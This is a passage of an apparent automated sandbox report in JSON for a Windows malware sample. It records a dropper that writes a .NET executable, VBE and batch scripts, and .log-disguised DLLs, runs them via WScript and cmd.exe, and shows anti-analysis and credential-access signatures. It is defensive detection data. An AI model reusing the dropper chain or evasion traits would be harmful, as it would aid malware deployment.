graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process 0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n Process 0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n Process WScript.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n Process WScript.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n Process serverDriver.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex\"\n Process serverDriver.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\DCR_MUTEX-0MyuD1hzOQrPAQPDCReZ\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat\" as clean (type is \"ASCII text with CRLF line terminators\")\n Antivirus vendors marked dropped file \"WzVKQIZW.log\" as clean (type is \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c \"\"C:\\\\msComwin\\\\jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat\" \"\" (UID: 00000000-00005724)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3c","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"serverDriver.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"WzVKQIZW.log\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"wXSnOmjT.log\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3d","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 76CC0000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 76CC0000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" loaded module \"%WINDIR%\\System32\\riched20.dll\" at 657F0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"serverDriver.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 64030000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"serverDriver.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 75190000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"serverDriver.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64C90000\n \"serverDriver.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 65440000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76FA0000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76FA0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76FA0000\n \"serverDriver.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76FA0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"150016002073b265@ADVAPI32.dll\"\n \"0e000f00e473b265@ADVAPI32.dll\"\n \"0e000f005074b265@ADVAPI32.dll\"\n \"11001200d47db265@ADVAPI32.dll\"\n \"110012007c7eb265@ADVAPI32.dll\"\n \"12001300cc7eb265@ADVAPI32.dll\"\n \"12001300387fb265@ADVAPI32.dll\"\n \"14001500e4b7b265@ADVAPI32.dll\"\n \"1400150000b8b265@ADVAPI32.dll\"\n \"140015001cb8b265@ADVAPI32.dll\"\n \"1700180038b8b265@ADVAPI32.dll\"\n \"0d000e0054b8b265@ADVAPI32.dll\"\n \"1100120064b8b265@ADVAPI32.dll\"\n \"110012007cb8b265@ADVAPI32.dll\"\n \"0f001000ecb9b265@ADVAPI32.dll\"\n \"1400150038bab265@ADVAPI32.dll\"\n \"1400150054bab265@ADVAPI32.dll\"\n \"0c000d00a8bab265@ADVAPI32.dll\"\n \"0c000d00b8bab265@ADVAPI32.dll\"\n \"0e000f00c8bab265@ADVAPI32.dll\"\n \"0e000f00dcbab265@ADVAPI32.dll\"\n \"0b000c00f0bab265@ADVAPI32.dll\"\n \"180019008cbdb265@RPCRT4.dll\"\n \"13001400bcbdb265@RPCRT4.dll\"\n \"14001500d4bdb265@RPCRT4.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$3f","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$40","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\WScript.exe\" [Source: 00000000-00005736-00000C47-13367518026]\n Observed system executable string:\"\"%WINDIR%\\System32\\WScript.exe\" \"C:\\msComwin\\cZA5KaguC4o8PZDkwLzCSV.vbe\"\" [Source: 00000000-00005736-00000C47-13367518026]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"WScript.exe\" (UID: 00000000-00005676) was launched with new environment variables: \"sfxcmd=\"\"C:\\0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\"\", sfxname=\"C:\\0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\", USERDNSDOMAIN=\"%OSUSER%-PC\", sfxstime=\"2026-08-08-13-57-26-058\"\"\n Process \"WScript.exe\" (UID: 00000000-00005676) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"\n Process \"serverDriver.exe\" (UID: 00000000-00006020) was launched with new environment variables: \"PROMPT=\"$P$G\"\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$41","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"References Windows LDAP client module","description":"Found string \":\\Windows\\system32\\WLDAP32.dll\" (Source: \"00000000-00005736.00000000.81734.005A0000.00000004.mdmp, 00000000-00005736.00000001.81803.005A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-987","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$42","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" searching for class \"EDIT\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"WScript.exe\" with commandline \"\"C:\\\\msComwin\\\\cZA5KaguC4o8PZDkwLzCSV.vbe\"\" (UID: 00000000-00005676)\n Spawned process \"cmd.exe\" with commandline \"/c \"\"C:\\\\msComwin\\\\jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6Q ...\" (UID: 00000000-00005724)\n Spawned process \"serverDriver.exe\" (UID: 00000000-00006020)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"WScript.exe\" with commandline \"\"C:\\\\msComwin\\\\cZA5KaguC4o8PZDkwLzCSV.vbe\"\" (UID: 00000000-00005676)\n Spawned process \"cmd.exe\" with commandline \"/c \"\"C:\\\\msComwin\\\\jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6Q ...\" (UID: 00000000-00005724)\n Spawned process \"serverDriver.exe\" (UID: 00000000-00006020)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"serverDriver.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"wXSnOmjT.log\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" connecting to \"\\ThemeApiPort\"\n \"WScript.exe\" connecting to \"\\ThemeApiPort\"\n \"serverDriver.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"serverDriver.exe\" has type \"PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections\"- Location: [C:\\msComwin\\serverDriver.exe]- [targetUID: 00000000-00006020]\n \"cZA5KaguC4o8PZDkwLzCSV.vbe\" has type \"data\"- Location: [C:\\msComwin\\cZA5KaguC4o8PZDkwLzCSV.vbe]- [targetUID: 00000000-00005736]\n \"jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat\" has type \"ASCII text with CRLF line terminators\"- Location: [C:\\msComwin\\jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat]- [targetUID: 00000000-00005724]\n \"WzVKQIZW.log\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections\"- Location: [%USERPROFILE%\\Desktop\\WzVKQIZW.log]- [targetUID: 00000000-00006020]\n \"wXSnOmjT.log\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections\"- Location: [%USERPROFILE%\\Desktop\\wXSnOmjT.log]- [targetUID: 00000000-00006020]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops Windows batch files","description":"\"jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat\" has type \"ASCII text with CRLF line terminators\"- Location: [C:\\msComwin\\jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat]- [targetUID: 00000000-00005724]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-41","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$44","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"serverDriver.exe\" queries basic process information of the \"C:\\Windows\\System32\\en-US\\KernelBase.dll.mui\" (UID: 6020)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$45","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" reads file \"c:\\0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Contains ability to delay the execution of current thread\n Matched sigs: Makes a code branch decision directly after an API that is environment aware\n Matched sigs: Contains ability to detect virtual environment (API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$46","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"WScript.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"WScript.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$47","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$48","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" writes file \"c:\\mscomwin\\serverdriver.exe\"\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" writes file \"c:\\mscomwin\\cza5kaguc4o8pzdkwlzcsv.vbe\"\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" writes file \"c:\\mscomwin\\jpmpoqeqp16cuckujlvm4batpzbs5kbdfkasanooteh6qe.bat\"\n \"serverDriver.exe\" writes file \"c:\\mscomwin\\serverdriver.exe\"\n \"cmd.exe\" writes file \"c:\\mscomwin\\jpmpoqeqp16cuckujlvm4batpzbs5kbdfkasanooteh6qe.bat\"\n \"serverDriver.exe\" writes file \"%userprofile%\\desktop\\wzvkqizw.log\"\n \"serverDriver.exe\" writes file \"%userprofile%\\desktop\\wxsnomjt.log\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"serverDriver.exe\" writes a file \"%USERPROFILE%\\Desktop\\WzVKQIZW.log\"\n \"serverDriver.exe\" writes a file \"%USERPROFILE%\\Desktop\\wXSnOmjT.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"serverDriver.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00006020)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"AUTHUI.DLL: Shutdown Choices Message Window\" (Indicator: \" shutdown \"; Source: \"00000000-00005736.00000000.81734.00960000.00000002.mdmp\")\n Found reference to API \"AUTHUI.DLL: Shutdown Choices Message Window\" (Indicator: \" shutdown \"; Source: \"00000000-00006020.00000000.82307.00BC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"4.0.0.0\" found in string \"n=4.0.0.0, C\"\n Potential IP \"4.0.0.0\" found in string \"on=4.0.0.0, Culture=neh\"\n \"192.168.0.2\"\n \"4.1.5.0\"\n \"4.0.0.0\"\n Potential IP \"4.0.0.0\" found in string \"4.0.0.0, Cul\"\n Potential IP \"4.0.0.0\" found in string \"n=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\" /\", Potential IP \"4.0.0.0\" found in string \"n=4.0.0.0\n Culture=neutral\n PublicKeyT^\", Potential IP \"4.0.0.0\" found in string \"sion=4.0.0.0\n Culture=neutral\n PublicKeyToken=b77a5c561934e089\", Potential IP \"4.0.0.0\" found in string \"on=4.0.0.0\n Culture=neutral\n PublicKeyToken=b77a5c561934e089\"\"\n Potential IP \"4.0.0.0\" found in string \"on=4.0.0.0, C\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://schemas.microsoft.com/smi/2005/windowssettings\"\n Heuristic match: \"llq[.az\"\n Heuristic match: \"sets or retrieves which panel is currently active in the pen input panel.wf\"\n Heuristic match: \"specifies the stroke or collection of strokes to remove from the given collection of strokes.ws\"\n Heuristic match: \"provides the best tradeoff between save-time and storage for the typical application.ws\"\n Pattern match: \"microsoft.net/framework/v4.0.30319/\"\n Heuristic match: \"tionprovider,system.co\"\n Heuristic match: \"tem.se\"\n Heuristic match: \"et6b..cx\"\n Heuristic match: \"stem.st\"\n Heuristic match: \" type=system.servicemodel.co\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"wXSnOmjT.log\"\n YARA signature matched on embedded PE in file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEB31D7AF8EC394925866FF653B812]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00006020.00000001.82692.001F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: 